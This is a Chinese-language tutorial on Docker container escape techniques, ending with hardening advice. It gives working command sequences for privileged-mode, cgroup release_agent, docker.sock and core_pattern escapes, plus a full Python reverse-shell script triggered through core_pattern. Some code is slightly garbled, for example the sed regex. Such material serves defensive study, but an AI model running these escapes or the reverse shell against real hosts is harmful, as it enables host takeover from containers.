Docker逃逸技术
字数 1643 2025-08-23 18:31:34

Docker逃逸技术全面解析

1. 特权模式逃逸

1.1 特权模式概述

当Docker容器以--privileged参数启动时,容器将获得所有Linux Capabilities权限,这可能导致容器逃逸。

docker run -it --rm --privileged ubuntu /bin/bash

1.2 检测特权模式

在容器中检查特权模式:

cat /proc/self/status | grep CapEff

特权模式下CapEff值为0000003fffffffff

1.3 利用方法

  1. 挂载宿主机设备:
mkdir /pwn
mount /dev/sda1 /pwn
chroot /pwn
  1. 通过挂载/etc目录写入计划任务获取宿主机权限

2. cgroup notify_on_release逃逸

2.1 cgroup机制基础

  • 子系统(Subsystem):资源控制器,如cpu、memory等
  • 层级(Hierarchy):子系统必须附加到的层级
  • 控制组群(Control Group):资源控制单位
  • 任务(Task):系统进程

2.2 利用原理

notify_on_release设置为1时,cgroup中最后一个任务退出时会执行release_agent指定的文件。

2.3 攻击流程

  1. 创建并挂载cgroup:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
  1. 创建自定义子系统:
mkdir /tmp/cgrp/x
  1. 启用notify_on_release:
echo 1 > /tmp/cgrp/x/notify_on_release
  1. 获取宿主机路径(通过OverlayFS的upperdir):
host_path=`sed -n 's/.*\upperdir=$[^,]*$.*/\1/p' /etc/mtab`
  1. 创建payload:
echo '#!/bin/sh' > /cmd
echo "touch /pwned" >> /cmd
chmod a+x /cmd
  1. 设置release_agent:
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. 触发执行:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

3. CVE-2022-0492 (bypass sys_admin)

3.1 利用条件

关闭AppArmor和Seccomp:

docker run --security-opt apparmor=unconfined --security-opt seccomp=unconfined ubuntu bash

3.2 利用方法

  1. 创建新namespace:
unshare -UrmC bash
  1. 挂载cgroup:
mkdir /tmp/cgroup && mount -t cgroup -o rdma cgroup /tmp/cgroup
  1. 后续步骤与notify_on_release逃逸相同

4. 重写devices.allow逃逸

4.1 devices子系统

  • devices.allow:允许访问的设备列表
  • devices.deny:禁止访问的设备列表
  • devices.list:设备黑白名单

4.2 攻击流程

通过debugfs写入设备权限,实现逃逸。

5. docker.sock挂载逃逸

5.1 利用原理

当容器挂载了/var/run/docker.sock时,可以通过与Docker daemon通信创建新容器实现逃逸。

5.2 攻击流程

  1. 容器启动时挂载docker.sock:
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu
  1. 在容器内安装docker客户端

  2. 通过docker.sock与宿主机daemon交互,创建特权容器

6. 挂载/proc逃逸

6.1 利用原理

通过修改/proc/sys/kernel/core_pattern实现命令执行。

6.2 攻击流程

  1. 挂载proc目录:
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
  1. 获取容器在宿主机上的绝对路径

  2. 创建反弹shell脚本(Python示例):

#!/usr/bin/python3
import os
import pty
import socket

lhost = "127.0.0.1"
lport = 2333

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    s.close()

if __name__ == "__main__":
    main()
  1. 创建会抛出段错误的程序

  2. 修改core_pattern:

echo -e "|$host_path/test.py \rcore" > /host-proc/sys/kernel/core_pattern
  1. 运行段错误程序触发反弹shell

7. 程序漏洞与内核漏洞

7.1 runC容器逃逸漏洞 (CVE-2019-5736)

影响版本

  • Docker < 18.09.2
  • runC < 1.0-rc6

利用条件:攻击者可重写宿主机上的runc二进制文件

7.2 Docker cp命令漏洞 (CVE-2019-14271)

利用方法

  • 在容器中替换libnss.so等库
  • 当执行docker cp时注入恶意代码

7.3 DirtyCow (CVE-2016-5195)

Linux内核提权漏洞,可用于容器逃逸。

7.4 DirtyPipe (CVE-2022-0847)

允许向任意可读文件写入数据,可导致非特权进程向root进程注入代码。

防御建议

  1. 避免使用--privileged参数
  2. 及时更新Docker和内核版本
  3. 限制容器能力,使用--cap-drop=ALL--cap-add按需添加
  4. 启用AppArmor和Seccomp
  5. 避免挂载敏感目录如/proc/var/run/docker.sock
  6. 使用只读文件系统(--read-only)
  7. 定期审计容器配置和运行状态
Docker逃逸技术全面解析 1. 特权模式逃逸 1.1 特权模式概述 当Docker容器以 --privileged 参数启动时,容器将获得所有Linux Capabilities权限,这可能导致容器逃逸。 1.2 检测特权模式 在容器中检查特权模式: 特权模式下 CapEff 值为 0000003fffffffff 。 1.3 利用方法 挂载宿主机设备: 通过挂载/etc目录写入计划任务获取宿主机权限 2. cgroup notify_ on_ release逃逸 2.1 cgroup机制基础 子系统(Subsystem) :资源控制器,如cpu、memory等 层级(Hierarchy) :子系统必须附加到的层级 控制组群(Control Group) :资源控制单位 任务(Task) :系统进程 2.2 利用原理 当 notify_on_release 设置为1时,cgroup中最后一个任务退出时会执行 release_agent 指定的文件。 2.3 攻击流程 创建并挂载cgroup: 创建自定义子系统: 启用notify_ on_ release: 获取宿主机路径(通过OverlayFS的upperdir): 创建payload: 设置release_ agent: 触发执行: 3. CVE-2022-0492 (bypass sys_ admin) 3.1 利用条件 关闭AppArmor和Seccomp: 3.2 利用方法 创建新namespace: 挂载cgroup: 后续步骤与notify_ on_ release逃逸相同 4. 重写devices.allow逃逸 4.1 devices子系统 devices.allow :允许访问的设备列表 devices.deny :禁止访问的设备列表 devices.list :设备黑白名单 4.2 攻击流程 通过debugfs写入设备权限,实现逃逸。 5. docker.sock挂载逃逸 5.1 利用原理 当容器挂载了 /var/run/docker.sock 时,可以通过与Docker daemon通信创建新容器实现逃逸。 5.2 攻击流程 容器启动时挂载docker.sock: 在容器内安装docker客户端 通过docker.sock与宿主机daemon交互,创建特权容器 6. 挂载/proc逃逸 6.1 利用原理 通过修改 /proc/sys/kernel/core_pattern 实现命令执行。 6.2 攻击流程 挂载proc目录: 获取容器在宿主机上的绝对路径 创建反弹shell脚本(Python示例): 创建会抛出段错误的程序 修改core_ pattern: 运行段错误程序触发反弹shell 7. 程序漏洞与内核漏洞 7.1 runC容器逃逸漏洞 (CVE-2019-5736) 影响版本 : Docker < 18.09.2 runC < 1.0-rc6 利用条件 :攻击者可重写宿主机上的runc二进制文件 7.2 Docker cp命令漏洞 (CVE-2019-14271) 利用方法 : 在容器中替换libnss.so等库 当执行docker cp时注入恶意代码 7.3 DirtyCow (CVE-2016-5195) Linux内核提权漏洞,可用于容器逃逸。 7.4 DirtyPipe (CVE-2022-0847) 允许向任意可读文件写入数据,可导致非特权进程向root进程注入代码。 防御建议 避免使用 --privileged 参数 及时更新Docker和内核版本 限制容器能力,使用 --cap-drop=ALL 和 --cap-add 按需添加 启用AppArmor和Seccomp 避免挂载敏感目录如 /proc 、 /var/run/docker.sock 等 使用只读文件系统( --read-only ) 定期审计容器配置和运行状态